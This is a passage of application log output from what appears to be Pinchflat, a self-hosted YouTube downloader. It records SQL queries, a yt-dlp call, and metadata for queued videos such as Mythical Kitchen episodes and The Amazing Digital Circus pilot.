s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.948 [debug] QUERY OK source="settings" db=0.0ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.948 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/f064ca8e49bb65f5/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/ca/6a/ca6aca0982690a00a1a386abc41db893f1817a0d0dd111e13c0cc57ed918a725.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:33.121 [debug] Current batch of media processed. Will check again in 1000ms 20:48:33.124 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HDgGNzsgDB0lHkQ9BwAgMF8JXkVZPxVZw_TTUEuqu-tJ_LOsmJitnhc4", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:33.130 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:33.130 [debug] Replied in 77µs 20:48:33.665 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Post Malone's last meal.\n\nStream Post Malone's new album, Austin, out on July 26!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 Post's Last Meal Menu\n0:29 Intro\n0:51 The Genie Contract\n1:26 How Often Do You Think About Death?\n1:57 1st Course - Raising Cane's, Mozz Sticks, & Garlic Knots\n2:38 Rockstar Riders\n3:21 Wanting to Be 4-Years Old\n4:22 Chick-fi-La has Secret Chicken Parm\n4:40 Are People Ultimately Good or Bad?\n5:58 How Does the World End?\n7:14 Post's Apocalyptic Bunker\n8:06 How Has Being a Father Changed You?\n9:10 Show Me the Marinara\n9:40 2nd Course - Pizza and Chicken Parm\n11:03 Josh is Mommy\n11:37 Pizza Hut Nostalgia\n12:16 Paranoia \n14:37 Playing Diablo IV\n15:10 3rd Course - Filet Mignon, Ramen, Maison No9\n15:52 Learning New Words\n17:00 Adapting to the Mormon Way of Speaking\n17:52 Wine Tasting\n19:08 The New Album\n21:50 Acid Polka\n22:28 The Part Where They Take Their Shirts Off\n23:43 What Do You Think Happens When You Die?\n25:21 Family\n26:49 4th Course - Chocolate Chip Cookies & Frosted Flakes\n27:14 Milking Technique\n28:27 What are Ghosts?\n31:21 Lightning Round - Who Would You Share Your Last Meal With?\n31:44 Which One of The TMNT Would You Share Your Last Meal With?\n32:05 What Guitar Hero Song Can You Play With No Mistakes?\n32:20 What Song Do You Want Played at Your Funeral?\n32:49 What's Your Biggest Fear?\n33:18 Are You Happy?\n33:27 Post's Last Words\n\nClosed Captioning provided by Rev", "duration" => 2088, "filename" => "/downloads/Last Meals/2023-07-25 Post Malone Eats His Last Meal/Post Malone Eats His Last Meal [ciktYlmFbfc].mp4", "id" => "ciktYlmFbfc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ciktYlmFbfc", "playlist_index" => 63, "timestamp" => 1690279235, "title" => "Post Malone Eats His Last Meal", "upload_date" => "20230725"} 20:48:33.666 [debug] QUERY OK source="sources" db=0.2ms idle=916.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:33.666 [debug] QUERY OK source="sources" db=0.0ms idle=718.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:33.666 [debug] QUERY OK source="media_items" db=0.2ms idle=718.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-25 10:00:35Z], 1] 20:48:33.668 [debug] QUERY OK source="media_items" db=1.1ms idle=718.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Post Malone's last meal.\n\nStream Post Malone's new album, Austin, out on July 26!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 Post's Last Meal Menu\n0:29 Intro\n0:51 The Genie Contract\n1:26 How Often Do You Think About Death?\n1:57 1st Course - Raising Cane's, Mozz Sticks, & Garlic Knots\n2:38 Rockstar Riders\n3:21 Wanting to Be 4-Years Old\n4:22 Chick-fi-La has Secret Chicken Parm\n4:40 Are People Ultimately Good or Bad?\n5:58 How Does the World End?\n7:14 Post's Apocalyptic Bunker\n8:06 How Has Being a Father Changed You?\n9:10 Show Me the Marinara\n9:40 2nd Course - Pizza and Chicken Parm\n11:03 Josh is Mommy\n11:37 Pizza Hut Nostalgia\n12:16 Paranoia \n14:37 Playing Diablo IV\n15:10 3rd Course - Filet Mignon, Ramen, Maison No9\n15:52 Learning New Words\n17:00 Adapting to the Mormon Way of Speaking\n17:52 Wine Tasting\n19:08 The New Album\n21:50 Acid Polka\n22:28 The Part Where They Take Their Shirts Off\n23:43 What Do You Think Happens When You Die?\n25:21 Family\n26:49 4th Course - Chocolate Chip Cookies & Frosted Flakes\n27:14 Milking Technique\n28:27 What are Ghosts?\n31:21 Lightning Round - Who Would You Share Your Last Meal With?\n31:44 Which One of The TMNT Would You Share Your Last Meal With?\n32:05 What Guitar Hero Song Can You Play With No Mistakes?\n32:20 What Song Do You Want Played at Your Funeral?\n32:49 What's Your Biggest Fear?\n33:18 Are You Happy?\n33:27 Post's Last Words\n\nClosed Captioning provided by Rev", "Post Malone Eats His Last Meal", "3ec33300-83f8-409e-b884-a7566087f4dc", "https://www.youtube.com/watch?v=ciktYlmFbfc", false, "ciktYlmFbfc", 2088, false, 63, "/downloads/Last Meals/2023-07-25 Post Malone Eats His Last Meal/Post Malone Eats His Last Meal [ciktYlmFbfc].mp4", false, false, 1, [], 0, ~U[2023-07-25 10:00:35Z], ~U[2026-03-28 00:48:33Z], ~U[2026-03-28 00:48:33Z], "Today, Josh is cooking Post Malone's last meal.\n\nStream Post Malone's new album, Austin, out on July 26!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 Post's Last Meal Menu\n0:29 Intro\n0:51 The Genie Contract\n1:26 How Often Do You Think About Death?\n1:57 1st Course - Raising Cane's, Mozz Sticks, & Garlic Knots\n2:38 Rockstar Riders\n3:21 Wanting to Be 4-Years Old\n4:22 Chick-fi-La has Secret Chicken Parm\n4:40 Are People Ultimately Good or Bad?\n5:58 How Does the World End?\n7:14 Post's Apocalyptic Bunker\n8:06 How Has Being a Father Changed You?\n9:10 Show Me the Marinara\n9:40 2nd Course - Pizza and Chicken Parm\n11:03 Josh is Mommy\n11:37 Pizza Hut Nostalgia\n12:16 Paranoia \n14:37 Playing Diablo IV\n15:10 3rd Course - Filet Mignon, Ramen, Maison No9\n15:52 Learning New Words\n17:00 Adapting to the Mormon Way of Speaking\n17:52 Wine Tasting\n19:08 The New Album\n21:50 Acid Polka\n22:28 The Part Where They Take Their Shirts Off\n23:43 What Do You Think Happens When You Die?\n25:21 Family\n26:49 4th Course - Chocolate Chip Cookies & Frosted Flakes\n27:14 Milking Technique\n28:27 What are Ghosts?\n31:21 Lightning Round - Who Would You Share Your Last Meal With?\n31:44 Which One of The TMNT Would You Share Your Last Meal With?\n32:05 What Guitar Hero Song Can You Play With No Mistakes?\n32:20 What Song Do You Want Played at Your Funeral?\n32:49 What's Your Biggest Fear?\n33:18 Are You Happy?\n33:27 Post's Last Words\n\nClosed Captioning provided by Rev", "Post Malone Eats His Last Meal", "https://www.youtube.com/watch?v=ciktYlmFbfc", "ciktY (truncated) 20:48:33.668 [debug] QUERY OK source="sources" db=0.1ms idle=553.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:33.668 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:33.669 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [63] 20:48:33.669 [info] Kicking off download for media item #63 (ciktYlmFbfc) 20:48:33.670 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [68, 63, ~U[2026-03-28 00:48:33Z], ~U[2026-03-28 00:48:33Z]] 20:48:33.670 [debug] Current batch of media processed. Will check again in 1000ms 20:48:34.122 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀\nHELP US GREENLIGHT A FULL SEASON! LIMITED EDITION MERCH: http://digitalcircus.store/\nCreated by @Gooseworx and the GLITCH team\n\nSUBSCRIBE, it really helps💙 https://www.youtube.com/glitchprod?sub_confirmation=1\nTwitter ► https://twitter.com/glitch_prod\nInstagram ► https://www.instagram.com/glitch_prod/\nTik Tok ► https://www.tiktok.com/@glitch_productions\n\n#Glitch #GlitchProductions\nEnjoy (◕‿◕✿)", "duration" => 1545, "filename" => "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", "id" => "HwAPLk_sQ3w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HwAPLk_sQ3w", "playlist_index" => 1, "timestamp" => 1697234412, "title" => "THE AMAZING DIGITAL CIRCUS: PILOT", "upload_date" => "20231013"} 20:48:34.123 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=454.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:34.124 [debug] QUERY OK source="sources" db=0.2ms idle=454.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:34.124 [debug] QUERY OK source="media_items" db=0.2ms idle=454.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-13 22:00:12Z], 2] 20:48:34.127 [debug] QUERY OK source="media_items" db=1.3ms idle=455.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀\nHELP US GREENLIGHT A FULL SEASON! LIMITED EDITION MERCH: http://digitalcircus.store/\nCreated by @Gooseworx and the GLITCH team\n\nSUBSCRIBE, it really helps💙 https://www.youtube.com/glitchprod?sub_confirmation=1\nTwitter ► https://twitter.com/glitch_prod\nInstagram ► https://www.instagram.com/glitch_prod/\nTik Tok ► https://www.tiktok.com/@glitch_productions\n\n#Glitch #GlitchProductions\nEnjoy (◕‿◕✿)", "THE AMAZING DIGITAL CIRCUS: PILOT", "a3b34a43-8e85-4461-96d0-8b830645d32f", "https://www.youtube.com/watch?v=HwAPLk_sQ3w", false, "HwAPLk_sQ3w", 1545, false, 1, "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", false, false, 2, [], 0, ~U[2023-10-13 22:00:12Z], ~U[2026-03-28 00:48:34Z], ~U[2026-03-28 00:48:34Z], "The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀\nHELP US GREENLIGHT A FULL SEASON! LIMITED EDITION MERCH: http://digitalcircus.store/\nCreated by @Gooseworx and the GLITCH team\n\nSUBSCRIBE, it really helps💙 https://www.youtube.com/glitchprod?sub_confirmation=1\nTwitter ► https://twitter.com/glitch_prod\nInstagram ► https://www.instagram.com/glitch_prod/\nTik Tok ► https://www.tiktok.com/@glitch_productions\n\n#Glitch #GlitchProductions\nEnjoy (◕‿◕✿)", "THE AMAZING DIGITAL CIRCUS: PILOT", "https://www.youtube.com/watch?v=HwAPLk_sQ3w", "HwAPLk_sQ3w", 1545, false, "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", false, 2, ~U[2023-10-13 22:00:12Z]] 20:48:34.127 [debug] QUERY OK source="sources" db=0.3ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:34.128 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:34.129 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [64] 20:48:34.129 [info] Kicking off download for media item #64 (HwAPLk_sQ3w) 20:48:34.132 [debug] QUERY OK source="tasks" db=0.2ms idle=4.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [69, 64, ~U[2026-03-28 00:48:34Z], ~U[2026-03-28 00:48:34Z]] 20:48:34.132 [debug] Current batch of media processed. Will check again in 1000ms 20:48:34.670 [debug] Current batch of media processed. Will check again in 1000ms 20:48:35.132 [debug] Current batch of media processed. Will check again in 1000ms 20:48:35.671 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Peyton List's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - 